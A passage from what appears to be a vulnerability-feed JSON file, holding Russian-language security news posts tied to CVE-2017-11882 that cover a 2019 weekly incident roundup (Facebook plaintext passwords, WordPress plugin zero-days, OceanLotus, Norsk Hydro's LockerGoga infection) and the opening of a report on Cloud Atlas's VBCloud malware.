\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 Netlogon). \u042d\u0442\u043e \u0445\u043e\u0440\u043e\u0448\u043e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435 \u0434\u0430\u0442\u043e\u0439 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438 \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://eyes.etecs.ru/r/541581\n\u00a0\n#\u043e\u0442\u0447\u0435\u0442 #\u0443\u0433\u0440\u043e\u0437\u044b #CTI", "creation_timestamp": "2026-07-27T00:00:18.768110Z"}, {"uuid": "9af09307-22ae-42a7-a3e4-212d91a04217", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/timcore_hacking/333", "content": "\u041e\u0431\u0437\u043e\u0440 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u043f\u0435\u0440\u0438\u043e\u0434 \u0441 18 \u043f\u043e 24 \u043c\u0430\u0440\u0442\u0430 2019 \u0433\u043e\u0434\u0430\n\n\u041a\u043e\u0440\u043e\u0442\u043a\u043e \u043e \u0433\u043b\u0430\u0432\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u0445 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438.\n\n\u041c\u0438\u043d\u0443\u0432\u0448\u0430\u044f \u043d\u0435\u0434\u0435\u043b\u044f \u043e\u0437\u043d\u0430\u043c\u0435\u043d\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u044b\u043c \u0441\u043a\u0430\u043d\u0434\u0430\u043b\u043e\u043c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c \u0441 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Facebook. \u041a\u0430\u043a \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043e\u0434\u043d\u043e\u0438\u043c\u0435\u043d\u043d\u043e\u0439 \u0441\u043e\u0446\u0441\u0435\u0442\u0438 \u0445\u0440\u0430\u043d\u0438\u043b \u043f\u0430\u0440\u043e\u043b\u0438 \u0441\u043e\u0442\u0435\u043d \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0432 \u043d\u0435\u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u0435. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0442\u044b\u0441\u044f\u0447\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 Facebook. \u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0435\u044f\u0441\u043d\u043e, \u043a\u0430\u043a \u0434\u043e\u043b\u0433\u043e \u0434\u0430\u043d\u043d\u044b\u0435 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435, \u043d\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043d\u0438\u0445 \u0434\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f 2012 \u0433\u043e\u0434\u043e\u043c. \u041a\u0430\u043a \u0437\u0430\u0432\u0435\u0440\u0438\u043b\u0438 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0441\u0435\u0439\u0447\u0430\u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0436\u0435 \u0440\u0435\u0448\u0435\u043d\u0430.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c WordPress \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0443 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u043e\u0432 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0430\u0439\u0442\u043e\u0432, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0434\u0430\u043d\u043d\u043e\u0439 CMS. \u041a \u043f\u0440\u0438\u043c\u0435\u0440\u0443, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0430\u0445 Easy WP SMTP \u0438 Social Warfare. \u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0434\u0432\u0435 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043d\u0430 \u0441\u0430\u0439\u0442\u0430\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0441\u043b\u0443\u0436\u0430\u0449\u0438\u0445 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432, \u0438 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0441\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0435 \u0443\u0441\u0442\u0430\u044e\u0442 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0438 \u0442\u0435\u0445\u043d\u0438\u043a\u0438. \u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Carbanak (\u043e\u043d\u0430 \u0436\u0435 Fin7) \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0432 \u0441\u0432\u043e\u0439 \u0430\u0440\u0441\u0435\u043d\u0430\u043b \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e \u043d\u043e\u0432\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u041d\u043e\u0432\u044b\u043c\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430\u043c\u0438 \u0432\u043e\u043e\u0440\u0443\u0436\u0438\u043b\u0430\u0441\u044c \u0438 APT-\u0433\u0440\u0443\u043f\u043f\u0430 OceanLotus, \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a APT32, SeaLotus, APT-C-00 \u0438 Cobalt Kitty. \u0422\u0435\u043f\u0435\u0440\u044c \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Microsoft Office (CVE-2017-11882), \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0435\u0441\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u0438 \u043f\u0440\u0438\u0441\u043f\u043e\u0441\u043e\u0431\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u0434 \u0435\u0435 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438.\n\n\u0421\u0432\u044b\u0448\u0435 100 \u0442\u044b\u0441. \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u043d\u0430 \u043f\u043e\u0440\u0442\u0430\u043b\u0435 GitHub \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 API \u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0439, \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c \u0432 \u0445\u043e\u0434\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0438\u0437 \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u0448\u0442\u0430\u0442\u0430 \u0421\u0435\u0432\u0435\u0440\u043d\u0430\u044f \u041a\u0430\u0440\u043e\u043b\u0438\u043d\u0430. \u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u043f\u043e\u0440\u044f\u0434\u043a\u0430 576 \u0442\u044b\u0441. \u0442\u043e\u043a\u0435\u043d\u043e\u0432 API \u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0439, \u043f\u0440\u0438\u0447\u0435\u043c \u0431\u043e\u043b\u0435\u0435 200 \u0442\u044b\u0441. \u0438\u0437 \u043d\u0438\u0445 \u0431\u044b\u043b\u0438 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 7 \u0442\u044b\u0441. RSA-\u043a\u043b\u044e\u0447\u0435\u0439 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430\u0445 OpenVPN.\n\n\u0421\u043c\u0430\u0440\u0442\u0444\u043e\u043d\u044b \u043c\u043e\u0434\u0435\u043b\u0438 Nokia 7 Plus \u0443\u043b\u0438\u0447\u0438\u043b\u0438 \u0432 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u041a\u0438\u0442\u0430\u0439. \u041a\u0430\u043a \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u043b\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e (\u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e \u0433\u0435\u043e\u043f\u043e\u0437\u0438\u0446\u0438\u0438, \u043d\u043e\u043c\u0435\u0440 SIM-\u043a\u0430\u0440\u0442\u044b \u0438 \u0441\u0435\u0440\u0438\u0439\u043d\u044b\u0439 \u043d\u043e\u043c\u0435\u0440) \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 China Telecom. \u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 HMD Global, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0435\u0439\u0447\u0430\u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u044b \u043f\u043e\u0434 \u0431\u0440\u0435\u043d\u0434\u043e\u043c Nokia, \u043f\u043e\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0443\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430.\n\n\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u043e\u0434\u0438\u043d \u0438\u0437 \u043a\u0440\u0443\u043f\u043d\u0435\u0439\u0448\u0438\u0445 \u043c\u0438\u0440\u043e\u0432\u044b\u0445 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u0439 \u0430\u043b\u044e\u043c\u0438\u043d\u0438\u044f Norsk Hydro \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0441\u044f \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0435, \u043f\u043e\u0432\u043b\u0435\u043a\u0448\u0435\u0439 \u0437\u0430 \u0441\u043e\u0431\u043e\u0439 \u0441\u0431\u043e\u0439 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432. \u0427\u0430\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u0431\u044b\u043b\u0438 \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u043d\u044b \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0440\u0435\u0436\u0438\u043c, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u2013 \u043f\u0440\u0438\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b. \u041f\u043e \u0438\u043c\u0435\u044e\u0449\u0438\u043c\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u043c, \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0435 \u041f\u041e LockerGoga. \u0410\u0442\u0430\u043a\u0430 \u043d\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432.\n\n\u0412 \u042e\u0436\u043d\u043e\u0439 \u041a\u043e\u0440\u0435\u0435 \u0430\u0440\u0435\u0441\u0442\u043e\u0432\u0430\u043d\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u043f\u043e \u043e\u0431\u0432\u0438\u043d\u0435\u043d\u0438\u044e \u0432 \u0441\u043a\u0440\u044b\u0442\u043e\u0439 \u0441\u044a\u0435\u043c\u043a\u0435 1,6 \u0442\u044b\u0441. \u043f\u043e\u0441\u0442\u043e\u044f\u043b\u044c\u0446\u0435\u0432 \u043e\u0442\u0435\u043b\u0435\u0439 \u0438 \u043f\u0440\u043e\u0434\u0430\u0436\u0435 \u0432\u0438\u0434\u0435\u043e\u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430 \u0438\u043d\u0442\u0438\u043c\u043d\u043e\u0433\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0430 \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435. \u041e\u0431\u0432\u0438\u043d\u044f\u0435\u043c\u044b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u043c\u0438\u043d\u0438-\u043a\u0430\u043c\u0435\u0440\u044b \u0432 \u043d\u043e\u043c\u0435\u0440\u0430\u0445 30 \u043e\u0442\u0435\u043b\u0435\u0439 \u0432 10 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0433\u043e\u0440\u043e\u0434\u0430\u0445 \u042e\u0436\u043d\u043e\u0439 \u041a\u043e\u0440\u0435\u0438 \u0438 \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u043b\u0438 \u043e\u0442\u0441\u043d\u044f\u0442\u044b\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043d\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u043c \u0438\u043c\u0438 \u0441\u0430\u0439\u0442\u0435, \u0435\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u043d\u0435 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.securitylab.ru/news/498481.php", "creation_timestamp": "2026-07-27T00:00:29.239935Z"}, {"uuid": "cee1a2b6-eee4-4f41-9ecd-4a8ae23a948d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/EchelonEyes/3514", "content": "\u041d\u043e\u0432\u044b\u0439 \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u0432 \u0440\u0443\u043a\u0430\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 Cloud Atlas \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043a\u0430\u043a Cloud Atlas, \u0431\u044b\u043b \u0437\u0430\u043c\u0435\u0447\u0435\u043d \u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e VBCloud \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0432\u043e\u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u00ab\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439\u00bb \u0432 2024 \u0433\u043e\u0434\u0443. \u0411\u043e\u043b\u0435\u0435 80% \u0436\u0435\u0440\u0442\u0432 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u0432 \u0420\u043e\u0441\u0441\u0438\u0438, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u2013 \u0432 \u0411\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u0438\u0438, \u041a\u0430\u043d\u0430\u0434\u0435, \u041c\u043e\u043b\u0434\u043e\u0432\u0435, \u0418\u0437\u0440\u0430\u0438\u043b\u0435, \u041a\u0438\u0440\u0433\u0438\u0437\u0438\u0438, \u0422\u0443\u0440\u0446\u0438\u0438 \u0438 \u0412\u044c\u0435\u0442\u043d\u0430\u043c\u0435.\n\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Cloud Atlas \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0435\u0449\u0435 \u0441 2014 \u0433\u043e\u0434\u0430. \u0412 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0420\u043e\u0441\u0441\u0438\u044e \u043e\u043d\u0430 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u0430 \u0443\u0436\u0435 \u043d\u0435 \u0432\u043f\u0435\u0440\u0432\u044b\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2022 \u0433\u043e\u0434\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u043b\u0430 \u0431\u044d\u043a\u0434\u043e\u0440 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 PowerShell \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c PowerShower \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u0440\u043e\u0441\u0441\u0438\u044f\u043d. \u0410 \u0432 2023 \u0431\u044b\u043b\u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0441\u0442\u0430\u0440\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 \u0444\u043e\u0440\u043c\u0443\u043b Microsoft Office (CVE-2017-11882) \u0434\u043b\u044f \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438. \u041e\u043d\u0430 \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0430 \u0432 \u0441\u0435\u0431\u044f \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 Visual Basic Script (VBS), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0430 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e VBS \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f.\n\n\u0412 \u0441\u0432\u0435\u0436\u0435\u043c \u043e\u0442\u0447\u0435\u0442\u0435 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f, \u0447\u0442\u043e 